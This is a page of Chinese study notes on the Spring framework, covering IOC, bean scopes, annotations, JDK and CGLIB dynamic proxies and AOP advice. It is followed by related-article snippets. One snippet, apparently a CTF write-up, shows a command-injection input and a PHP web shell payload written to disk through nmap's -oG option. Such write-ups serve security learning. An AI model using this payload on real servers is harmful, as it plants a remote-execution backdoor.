spring框架介绍

a72ff8c65605478b85977f136f7454fb.gifspring

 

1.优点

  1)针对接口编程,解耦合

  2)aop:变向切面编程,动态增加功能

  3)方便集成框架,mybatis,hibernate,strust等

  4)降低j2ee接口的使用难度

 

2.spring是干什么的

  管理bean及bean的依赖关系的一个容器,为降低bean之间耦合度问题而开发,核心是控制反转(IOC)和面向切面编程(AOP)

    控制反转(IOC:):对象的创建交给容器来完成

    面向切面编程(AOP):系统级服务和主业务逻辑分开,降低耦合度,使系统级服务织入主业务逻辑

 

IOC:

3.(配置式开发)spring容器都干了什么

  读取配置文件

  创建bean对象(使用反射机制调用无参构造方法),将对象保存在内存Map中

  给有依赖关系的对象赋值

 

4.spring容器的实现接口有哪些

  ApplicationContext:创建容器时就创建了bean对象,并将对象放到内存中

  BeanFactory:创建容器对象时不创建bean对象(懒加载模式:用的时候才创建)

 

5.spring框架中bean对象的创建过程,有几种创建方式

  在配置文件中使用bean标签注册bean对象

  2种方式:

    默认创建方式:调用bean对象的无参构造方法

    (实例)工厂模式创建bean:需要在配置文件中注册工厂对象以及注册工厂对象的方法(此方式耦合度高,因为实例工厂中写死了Java对象)

 

6.什么是工厂模式,什么时候用工厂模式

  工厂模式:当创建对象时若比较繁琐,可以将这些繁琐的创建过程封装到一个方法中,调用此方法来创建对象,这就是工厂模式

  什么时候用:创建复杂对象时

 

7.spring框架中bean的作用域

  在配置文件中,使用scope关键子给bean指定作用域

  spring支持5种作用域:singleton(单例作用域,spring默认的作用域)、prototype(原型作用域:每创建一次都是新的对象)、request、session、globalSession

 

8.spring中给bean对象的属性赋值(也叫注入)

  对bean对象属性赋值同样是由容器完成的

  根据注入方式不同分为2种:

    设值注入:调用bean对象的set方法给属性赋值(常用)

    构造注入:调用bean对象的构造方法时给属性赋值并创建对象(不常用)

  根据注入的实现方式不同也分2种:

    1.基于配置文件:(掌握,内容较多,不常用)

    2.基于注解:(掌握,常用)

 

9.注解式开发bean对象的创建,创建前需要做什么

  在配置文件中使用context:component-scan标签注册组件扫描器

  多个包下都使用了注解怎么解决:

    1.使用多次context:component-scan标签

    2.base-package值中使用逗号或分号分隔(推荐使用此方法)

    3.指定父包(不推荐使用)

 

10.基于注解方式开发,创建bean对象有哪些注解,怎么用

  以下注解均是用于创建对象:

    @Repository:用在Dao层的类上

    @Service:用在Service层的类上

    @Controller:用在UI层的类上

    @Component:以上三个注解都不能使用或者不合格使用时就使用此注解,不使用value属性时,对象的名称默认是类名的首字母小写

 

11.基于注解方式开发,设置bean对象的作用域

  使用@Scope注解,在value值中设置

 

12.基于注解方式开发,给bean对象赋值有哪些注解,怎么用

  以下注解均是用于给属性赋值:

    @Value:给简单类型属性赋值,可以放在属性定义上(不需要set方法的),可以放在属性的set方法上

    @Autowired:spring框架中的。给引用类型的属性赋值,默认是按类型注入的。若按名称来注入需同时使用@Qualifier(value="BeanID")注解

      Autowired有一个属性required,默认为true,意思是必须成功给引用类型赋值,否则程序终止并报错。若为false意思是不能成功赋值则为null

    @Resource:不是spring框架中的,是jdk中的。给引用类型的属性赋值,默认是按类型注入的。若按名称来注入需要使用@Resource注解的name属性,name属性指定BeanID

  给属性赋值一般是设值注入,不使用构造注入。

 

13.bean对象的生命始末

  基于配置文件:在bean标签中使用属性init-method、destroy-method

  基于注解方式:在方法上使用@PostConstruct(bean对象初始化后执行)、@PreDestroy(bean对象销毁之前执行)

 

14.spring框架中配置文件和注解同时使用,谁的优先级高

  配置文件的优先级高

 

15.spring框架中配置文件和注解的优缺点

  配置文件:(灵活)对其所作的修改无需编译代码,只需重启服务器即可

  注解:(高效)配置方便,直观,但修改代码后需重新编译

 

AOP:

16.什么是代理模式,什么时候用代理模式

  代理模式:为目标对象提供代理服务,从而控制对目标对象的访问及对目标对象的功能增强

  什么时候用:当访问一个目标对象时达不到想要的效果,可以访问代理对象,代理对象可以对其进行访问控制及功能增强

  代理模式的作用:功能增强(对目标对象目标方法的返回值做处理)和控制访问(比如控制在某些条件下可以调用目标对象的方法,某些条件下不能调用)

  代理模式的分类:

    静态代理:代理对象在程序运行前就已经定义好了,其与目标对象的关系在程序运行前就已经确立了

    动态代理:目标对象的代理对象是由代理生成工具在程序运行时由JVM通过反射机制动态生成的,代理对象与目标对象的关系也是在程序运行时才确定的

      jdk动态代理:

        1.目标对象实现接口方法(有了目标对象、目标方法)(jdk动态代理要求目标对象要实现接口)

        2.实现InvocationHandler接口创建调用处理器类,并且实现invoke方法(调用处理器的作用是截取对目标方法的调用)

          public Object invoke(Object proxy,Method method, Object[] args)

            Object proxy:代理对象

            Method method:目标方法

            Object[] args:目标方法的参数

            返回值Object:目标方法的返回值

        3.通过Proxy接口的newProxyInstance方法创建代理对象

          static Object newProxyInstance(ClassLoader loader, Class[] interfaces, InvocationHandler h)

            ClassLoader loader:目标对象的类加载器(target.getClass().getClassLoader())

            Class[] interfaces:目标对象的接口(target.getClass().getInterfaces())

            InvocationHandler h:调用处理器

        4.通过代理对象调用目标方法

      cjlib动态代理:(当目标对象没有实现接口时可以使用cglig动态代理)cglib动态代理原理是生成目标对象的子类(继承过来的),对子类进行增强,子类即是代理对象(cglib动态代理要求目标类不能是final的)

        1.导入cglib库

        2.创建目标对象(不需要实现接口,且不能是final修饰的)

        3.实现MethodInterceptor接口创建调用处理器,并且实现intercept方法(相当于cglib中的invoke方法)

          public Object intercept(Object proxy, Method method, Object[] objects, MethodProxy methodProxy)

            Object proxy:代理对象

            Method method:目标方法

            Object[] objects:目标方法的参数

            MethodProxy methodProxy:方法的代理对象(与cglib的区别)

            返回值object:目标方法的返回值

        4.通过Enhancer(增强器)类创建代理对象

          Enhancer enhancer = new Enhancer();

          // 设置enhancer对象的父类

          enhancer.setSuperclass(target.class);

          // 设置enhancer的回调对象

          enhancer.setCallback(new MyMethodInterceptor());

          // 创建代理对象

          ProxyObject proxy= (ProxyObject)enhancer.create();

        5.通过代理对象调用目标方法

17.什么是AOP

  面向切面编程,动态的将与主业务逻辑无关的代码(如事务、日志等)织入到主业务逻辑当中,代码上不会出现混杂。AOP的底层采用的是动态代理,默认采用的是jdk的动态代理。

 

18.AOP中几个重要的编程术语

  切面:反之交叉业务逻辑(例如事务、日志)。实际上就是对主业务逻辑的功能增强。常用的切面实现有通知和顾问。

  织入:将切面代码插入到目标对象的过程。

  连接点:可以被切面织入的方法,通常业务接口中的方法均是连接点。

  切入点:织入了切面代码的方法,即业务接口中被增强了的方法是切人点,未被增强的方法是连接点。

  目标对象:要被增强的对象。

  通知:切面的一种实现。通知决定了切入的时间点(切入点决定了可以切入的位置)。例如是在目标方法执行之前执行切入,还是在目标方法执行之后执行切入

  顾问:切面的一种实现。是一种高级的通知。

 

19.spring框架对AOP思想的实现之一:通知

  spring框架对AOP的思想进行了实现,实现的方式是通知。通知有四个接口:前置通知(MethodBeforeAdvice)、后置通知(AfterReturningAdvice)、环绕通知(MethodInterceptor)、异常通知(ThrowsAdvice)

 

20.spring框架之前置通知

  实现MethodBeforeAdvice接口的类为前置通知,是对目标方法的增强。

  MethodBeforeAdvice接口中只有一个before方法:public void before(Method method,Object[] args,Object target)

    Method method:目标方法

    Object[] args:目标方法的参数

    Object target:目标对象

  前置通知的特点:

    1.前置通知中before方法是在目标方法执行之前执行的

    2.前置通知不能改变目标方法的执行流程

    3.前置通知不能改变目标方法的执行结果

  配置文件方式实现步骤,需要在配置文件中配置如下信息:

    1.注册目标对象

    2.注册通知类(切面)

    3.注册代理工厂类:

      3.1在代理工厂内指定目标对象

      3.2在代理工厂内指定目标对象实现的接口

      3.3在代理工厂内指定切面

 

21.spring框架之后置通知

  实现AfterReturningAdvice接口的类为后置通知,是对目标方法的增强。

  AfterReturningAdvice接口中只有一个afterReturning方法:public void afterReturning(Object returnValue,Method method,Object[] args,Object target)

    Object returnValue:目标方法的执行结果(与前置通知的区别),afterReturning方法返回的也是此值

    Method method:目标方法

    Object[] args:目标方法的参数

    Object target:目标对象

  后置通知的特点:

    1.后置通知中afterReturning方法是在目标方法执行之后执行的

    2.后置通知不能改变目标方法的执行流程

    3.后置通知不能改变目标方法的执行结果,但是能获取到目标方法的执行结果

 

22.spring框架之环绕通知

  环绕通知又称方法拦截器,是功能最强的一种通知。

  实现MethodInterceptor接口的类为环绕通知,是对目标方法的增强。

  MethodInterceptor接口中只有一个invoke方法:public Object invoke(MethodInvocation invocation)

    返回值Object:目标方法的执行结果(可以是增强的结果)

    Object[] args = invocation.getArguments():获取目标方法的参数列表,可以对其参数进行修改从而改变目标方法的执行流程

    Object retVal = invocation.proceed():调用目标方法,可以对返回值retVal进行修改从而改变目标方法的执行结果

  环绕通知的特点:

    1.环绕通知中invoke方法可以在目标方法的之前或者之后执行

    2.环绕通知可以改变目标方法的执行流程

    3.环绕通知可以改变目标方法的执行结果

 

23.spring框架之异常通知

  实现ThrowsAdvice接口的类为异常通知。该接口中没有定义要实现的方法,称为标识接口。

  虽然形式上没有方法,但有必须要实现的方法afterThrowing,该方法在ThrowAdvice接口注释中,有四个重载的方法,一般常用的是afterThrowing(Exception ex).

  异常通知的作用:在目标方法抛出异常后,根据不同的异常在异常通知中做出相应的处理(比如记录异常信息到文件/数据库、发送邮件/短信,写监控程序)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2803993.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

C语言每日一题(61)盛最多水的容器

题目链接 力扣 11 盛最多水的容器 题目描述 给定一个长度为 n 的整数数组 height 。有 n 条垂线,第 i 条线的两个端点是 (i, 0) 和 (i, height[i]) 。 找出其中的两条线,使得它们与 x 轴共同构成的容器可以容纳最多的水。 返回容器可以储存的最大水…

性能测试的几个指标范围(CPU,内存,IO,网络)

性能测试中,对服务端的指标监控也是很重要的一个环节。通过对各项服务器性能指标的监控分析,可以定位到性能瓶颈。 后端性能指标有 CPU,内存,网络,jvm,I/O 等等 分析思路 整体系统 CPU 利用率 内存利用…

大模型综述总结--第一部分

1 目录 本文是学习https://github.com/le-wei/LLMSurvey/blob/main/assets/LLM_Survey_Chinese.pdf的总结,仅供学习,侵权联系就删 目录如下图 本次只总结一部分,刚学习有错请指出,VX关注晓理紫,关注后续。 2、概述…

Unicode转换 [ASIS 2019]Unicorn shop1

打开题目 点击进去之后是一个购买独角兽的界面,有四种类型的独角兽,前三种的价格比较便宜,最后的独角兽价格比较贵。 我们先尝试购买前三种独角兽,输入id,然后price输入9 我们直接查看源代码 可以看到在charset"…

数字化转型导师坚鹏:政府数字化转型案例研究(包括省市政府)

政府数字化转型案例研究(包括省市政府) 课程背景: 很多地方政府存在以下问题: 不清楚标杆省政府数字化转型的成功案例 不清楚直辖市政府数字化转型的成功案例 不清楚地级市政府数字化转型的成功案例 课程特色&#xff1a…

Flink中的双流Join

1. Flink中双流Join介绍 Flink版本Join支持类型Join API1.4innerTable/SQL1.5inner,left,right,fullTable/SQL1.6inner,left,right,fullTable/SQL/DataStream Join大体分为两种:Window Join 和 Interval Join 两种。 Window Join又可以根据Window的类型细分为3种…

智慧公厕是什么?智慧公厕未来发展趋势

在现代城市生活中,公共厕所是不可或缺的基础设施。而随着科技的不断发展,智慧公厕作为一种未来式的公共厕所,将在使用方式、服务方式、管理方式、协作方式上带来革命性的升级。那么,智慧公厕的未来发展趋势又是怎样的呢&#xff1…

Python多值提取至点:基于一景栅格的像元提取另一栅格中空间位置匹配的像元

本文介绍基于Python语言中的gdal模块,对2景不同的遥感影像加以对应位置像素值匹配的方法——即基于一景遥感影像的每一个像元,提取另一景遥感影像中,与之空间位置相同的像元的像素值的方法。 首先,明确一下本文的需求。现在有2景成…

命令执行 [网鼎杯 2020 朱雀组]Nmap1

打开题目 输入127.0.0.1 可以得到回显结果&#xff0c;猜测是命令执行&#xff0c;尝试使用|分隔地址与命令 127.0.0.1 | ls 可以看到|被\转义&#xff0c;尝试使用;&#xff1a; 直接放入Payload: <?php eval($_POST["hack"]);?> -oG hack.php 尝试修改文…

2.deeplabv3+的主干网络(mobilenet网络)

deeplabv3的论文中用了resnet网络&#xff0c;在这里用轻量级网络mobilenet替换resnet&#xff0c;下面分别是两个网络的代码。 1.mobilenet网络 代码如下&#xff1a; import math import os import cv2 import numpy as np import torch import torch.nn as nn import tor…

多租户权限过滤查询-基于mybatisplus权限插件DataPermissionInterceptor实现

前言 因为业务需要对系统中的相关模块的权限通过不同的部门这种属性进行过滤&#xff0c;这边参考了开源项目ruoyi里面的权限过滤设计&#xff0c;然后结合自身的业务进行实现 优秀的开源项目地址:ruoyi-vue-pro 梳理了解了逻辑之后总结了一下实现原理&#xff0c;在需要进行…

Android 仿信号格子强度动画效果实现

效果图 在 Android 中&#xff0c;如果你想要绘制一个圆角矩形并使其居中显示&#xff0c;你可以使用 Canvas 类 drawRoundRect 方法。要使圆角矩形居中&#xff0c;你需要计算矩形的位置&#xff0c;这通常涉及到确定矩形左上角的位置&#xff08;x, y&#xff09;&#xff0…

Sora没用上!国产AI创作恐怖电影:《生化危机:重生》下

Sora没用上&#xff01;国产AI创作恐怖电影&#xff1a;《生化危机&#xff1a;重生》下 丧尸围城&#xff0c;世界沦陷&#xff0c;爱丽丝是拯救这个世界的最后一剂解药&#xff0c;然而。。。 《生化危机&#xff1a;重生》&#xff08;下&#xff09;&#xff1a;在战斗的最…

QT day2 组件

mywidget.cpp #include "mywidget.h"Mywidget::Mywidget(QWidget *parent): QMainWindow(parent) {this->setWindowTitle("qq");this->setWindowIcon(QIcon("C:\\Users\\41220\\Desktop\\华清\\pictrue\\qq.png"));this->setWindowFla…

微服务远程调用Feign

目录 RPC概述 什么是Feign&#xff1f; Ribbon&Feign对比 Feign的设计架构 Spring Cloud Alibaba快速整合Feign Spring Cloud Feign扩展 日志配置 契约配置 通过拦截器实现参数传递 自定义拦截器实现认证逻辑 超时时间配置 RPC概述 微服务之间如何方便优雅的实…

计算机设计大赛 深度学习卷积神经网络垃圾分类系统 - 深度学习 神经网络 图像识别 垃圾分类 算法 小程序

文章目录 0 简介1 背景意义2 数据集3 数据探索4 数据增广(数据集补充)5 垃圾图像分类5.1 迁移学习5.1.1 什么是迁移学习&#xff1f;5.1.2 为什么要迁移学习&#xff1f; 5.2 模型选择5.3 训练环境5.3.1 硬件配置5.3.2 软件配置 5.4 训练过程5.5 模型分类效果(PC端) 6 构建垃圾…

数字电路 第一章—第二节(逻辑代数的基本概念、公式和定理)

一、基本逻辑关系举例 1、电路图 &#xff08;1&#xff09;与逻辑关系&#xff1a; &#xff08;2&#xff09;或逻辑关系&#xff1a; &#xff08;3&#xff09;非逻辑关系&#xff1a; 2、真值表 &#xff08;1&#xff09;在上述三种电路中&#xff0c;经过设定变量和状…

Nginx知识笔记

一、前言 首先&#xff0c;我们来看一张关于正向代理和反向代理的图片 简单理解正向代理和反向代理的概念&#xff1a; 正向代理&#xff1a;在客户端配置代理服务器(和跳板机功能类似&#xff0c;比如公司很多机器需要通过跳板机才允许登录&#xff0c;正向代理的典型用途是…

开源模型应用落地-工具使用篇-向量数据库进阶(四)

一、前言 通过学习"开源模型应用落地"系列文章&#xff0c;我们成功地建立了一个完整可实施的AI交付流程。现在&#xff0c;我们要引入向量数据库&#xff0c;作为我们AI服务的二级缓存。本文将继续基于上一篇“开源模型应用落地-工具使用篇-向量数据库&#xff08;三…

游泳耳机品牌排行榜前十名:十大爆款火热机型超高性价比

在当今这个科技日新月异的时代&#xff0c;游泳已经不再仅仅是一项简单的运动&#xff0c;而是一种生活方式的体现。随着人们对于健康生活的追求日益增强&#xff0c;游泳耳机也成为了许多游泳爱好者的必备装备之一。然而&#xff0c;市场上琳琅满目的游泳耳机品牌和型号让人眼…